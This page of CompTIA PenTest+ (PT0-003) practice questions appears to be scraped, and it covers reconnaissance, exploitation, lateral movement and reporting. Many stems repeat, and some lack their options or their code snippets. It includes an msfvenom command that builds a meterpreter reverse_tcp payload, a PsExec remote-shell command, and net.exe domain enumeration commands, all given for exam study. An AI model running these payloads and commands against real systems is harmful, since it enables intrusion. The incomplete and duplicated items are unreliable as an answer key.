Free CompTIA PT0-003 Practice Questions & Answers 2026 Part1 | CompTIA PenTest+

[Information Gathering and Vulnerability Scanning]A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering.Which of the following types of scans did the tester use to identify the libraries?

[Information Gathering and Vulnerability Scanning]While conducting a reconnaissance activity, a penetration tester extracts the following information:Emails: - admin@acme.com - sales@acme.com - support@acme.comWhich of the following risks should the tester use to leverage an attack as the next step in the security assessment?

[Tools and Code Analysis]A penetration tester is attempting to discover vulnerabilities in a company's web application.Which of the following tools would most likely assist with testing the security of the web application?

A company hires a penetration tester to perform an external attack surface review as part of a security engagement. The company informs the tester that the main company domain to investigate is comptia.org. Which of the following should the tester do to accomplish the assessment objective?

A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:Which of the following changes is required?

[Attacks and Exploits]A penetration tester writes the following script to enumerate a 1724 network:1 #!/bin/bash2 for i in {1..254}; do3 ping -c1 192.168.1.$i4 doneThe tester executes the script, but it fails with the following error:-bash: syntax error near unexpected token `ping'Which of the following should the tester do to fix the error?

A penetration tester discovers a deprecated directory in which files are accessible to anyone. Which of the following would most likely assist the penetration tester in finding sensitive information without raising suspicion?

[Attacks and Exploits]A tester plans to perform an attack technique over a compromised host. The tester prepares apayload using the following command:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharpThe tester then takes the shellcode from the msfvenom command and creates a file called evil.xml.Which of the following commands would most likely be used by the tester to continue with theattack on the host?

A penetration tester is assessing the security of a web application. When the tester attempts to access the application, the tester receives an HTTP 403 response. Which of the following should the penetration tester do to overcome this issue?

During a penetration test, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?

[Attacks and Exploits]A penetration tester attempts to run an automated web application scanner against a target URL. The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0 200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0 No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl 200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0 No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: pythonWhich of the following actions should the tester take to get the scans to work properly?

[Attacks and Exploits]A penetration tester needs to collect information over the network for further steps in an internalassessment. Which of the following would most likely accomplish this goal?

Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:Action | SRC| DEST| --Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP Block | . | . | *Which of the following commands should the tester try next?

[Attacks and Exploits]A penetration tester writes the following script to enumerate a 1724 network:1 #!/bin/bash2 for i in {1..254}; do3 ping -c1 192.168.1.$i4 doneThe tester executes the script, but it fails with the following error:-bash: syntax error near unexpected token `ping'Which of the following should the tester do to fix the error?

A penetration tester reviews a SAST vulnerability scan report. The following lines of code have been reported as vulnerable:Issue 40 of 126Language: JavaSeverity: MediumCall:try {// ...} catch (SomeException e) {e.printStackTrace();}Which of the following is the best method to remediate this vulnerability?

A penetration tester conducts OSINT for a client and discovers the robots.txt file explicitly blocks a major search engine.

A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network.Which of the following is the next task the tester should complete to accomplish the objective?

[Attacks and Exploits]During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward.Which of the following types of attacks is this an example of?

[Attacks and Exploits]During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence.Which of the following is the best way for the penetration tester to hide the activities performed?

A pentester assigned to a bank must ensure that sensitive information is kept confidential throughout the engagement; which contractual document enforces this requirement?

A penetration testing team needs to determine whether it is possible to disrupt the wireless communications for PCs deployed in the client's offices. Which of the following techniques should the penetration tester leverage?

[Attacks and Exploits]As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands.Which of the following techniques would the penetration tester most likely use to access the sensitive data?

[Attacks and Exploits]During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward.Which of the following types of attacks is this an example of?

[Attacks and Exploits]During a penetration test, a tester captures information about an SPN account. Which of thefollowing attacks requires this information as a prerequisite to proceed?

While performing a penetration test, a tester executes the following command: PS c:\tools> c:\hacks\PsExec.exe \\server01.cor.ptia.org -accepteula cmd.exe Which of the following best explains what the tester is trying to do? PsExec is a Windows Sysinternals tool that allows users to execute commands on a remote system without needing an interactive login session. The command above is executing cmd.exe on a remote Windows Active Directory domain machine (server01.cor.ptia.org). Option A (Test connectivity using PsExec) : The command does not check connectivity; it executes a command remotely. Option B (Perform a lateral movement attack) : Correct. Lateral movement occurs when an attacker moves from one compromised machine to another within a network, using valid credentials. PsExec is often used for this purpose. Option C (Send the PsExec binary) : The command runs cmd.exe remotely, but it does not transfer PsExec itself. Option D (Enable cmd.exe) : cmd.exe is already enabled by default on most Windows systems. Reference: CompTIA PenTest+ PT0-003 Official Guide -- Lateral Movement with PsExec

A penetration tester gained a foothold within a network. The penetration tester needs to enumerate all users within the domain. Which of the following is the best way to accomplish this task? Comprehensive and Detailed Explanation From Exact Extract: net.exe is the classic Windows networking utility that includes commands for enumerating domain resources and accounts from a compromised host where the tester has any authenticated domain context. Typical commands used by penetration testers to enumerate domain users with net.exe include: net user /domain --- lists domain user accounts (name and some properties). net group 'Domain Users' /domain --- lists members of the Domain Users group. net view /domain --- lists computers in the domain (useful to find targets for further enumeration). Why net.exe is the best option here: It is installed by default on Windows systems and works with the current authenticated domain credentials (common after gaining a foothold). It provides a quick, low-noise way to enumerate user accounts and groups without requiring additional tooling or elevated privileges beyond an authenticated domain user. Results can be scripted and parsed for further enumeration and pivoting. Why the other options are not appropriate: A . pwd.exe --- Not a standard Windows tool for domain enumeration (and not present by default). C . sc.exe --- Service Controller tool for managing services; not used to enumerate domain users. D . msconfig.exe --- System configuration GUI utility for startup/services; not for domain account enumeration. Related alternatives (contextual, commonly used in pentests): dsquery user -limit 0 (on systems with RSAT/AD tools) to query AD directly. Get-ADUser -Filter * (PowerShell, requires the ActiveDirectory module and appropriate rights). Tools like PowerView (PowerShell) or BloodHound (collection phase) can provide richer AD enumeration, but net.exe is the simplest built-in option to enumerate domain users from an authenticated foothold. CompTIA PT0-003 Objective Mapping (summary): Domain 2.0 Information Gathering and Vulnerability Scanning --- enumerate network and Active Directory objects using native tools and scripts (e.g., net.exe for domain user enumeration).

A penetration tester cannot find information on the target company's systems using common OSINT methods. The tester's attempts to do reconnaissance against internet-facing resources have been blocked by the company's WAF. Which of the following is the best way to avoid the WAF and gather information about the target company's systems?

[Attacks and Exploits]During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops.Which of the following technical controls should the tester recommend to reduce the risk of compromise?

Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?

[Attacks and Exploits]During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward.Which of the following types of attacks is this an example of?

During a penetration testing engagement, a tester targets the internet-facing services used by the client. Which of the following describes the type of assessment that should be considered in this scope of work?

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy Action | SRC | DEST | - - Block | 192.168.10.0/24 1 - 65535 | 10.0.0.0/24 22 | TCP Allow | 0.0.0.0/0 1 - 65535 | 192.168.10.0/24443 | TCP Allow | 192.168.10.0/24 1 - 65535 | 0.0.0.0/0443 | TCP Block | . | . | * Which of the following commands should the tester try next?

[Tools and Code Analysis]Before starting an assessment, a penetration tester needs to scan a Class B IPv4 network for open ports in a short amount of time.Which of the following is the best tool for this task?

[Attacks and Exploits]During an assessment, a penetration tester exploits an SQLi vulnerability.Which of the following commands would allow the penetration tester to enumerate password hashes?

During an internal penetration test, a tester compromises a Windows OS-based endpoint and bypasses the defensive mechanisms. The tester also discovers that the endpoint is part of an Active Directory (AD) local domain.The tester's main goal is to leverage credentials to authenticate into other systems within the Active Directory environment.Which of the following steps should the tester take to complete the goal?

A penetration tester successfully phishes a user and compromises a domain-joined endpoint. The tester enumerates the domain controller and discovers that Group Policy Preferences are in use. The tester also finds that the version of the domain controllers is Windows Server 2012. The tester wants to use the fastest possible method of pivoting successfully to multiple production servers joined to the domain. Which of the following is the best way to achieve this goal?

[Attacks and Exploits]A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access.Which of the following commands should the penetration tester use?

[Attacks and Exploits]A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access.Which of the following commands should the penetration tester use?

A penetration tester wants to create a malicious QR code to assist with a physical security assessment.

A penetration tester wants to send a specific network packet with custom flags and sequence numbers to a vulnerable target. Which of the following should the tester use?

Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?

A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?

[Attacks and Exploits]A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access.Which of the following commands should the penetration tester use?

During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?

[Attacks and Exploits]During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops.Which of the following technical controls should the tester recommend to reduce the risk of compromise?

A penetration testing team needs to determine whether it is possible to disrupt the wireless communications for PCs deployed in the client's offices. Which of the following techniques should the penetration tester leverage?

A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network.Which of the following is the next task the tester should complete to accomplish the objective?

[Attacks and Exploits]A penetration tester writes the following script to enumerate a 1724 network:1 #!/bin/bash2 for i in {1..254}; do3 ping -c1 192.168.1.$i4 doneThe tester executes the script, but it fails with the following error:-bash: syntax error near unexpected token `ping'Which of the following should the tester do to fix the error?

A penetration tester is authorized to perform a DoS attack against a host on a network.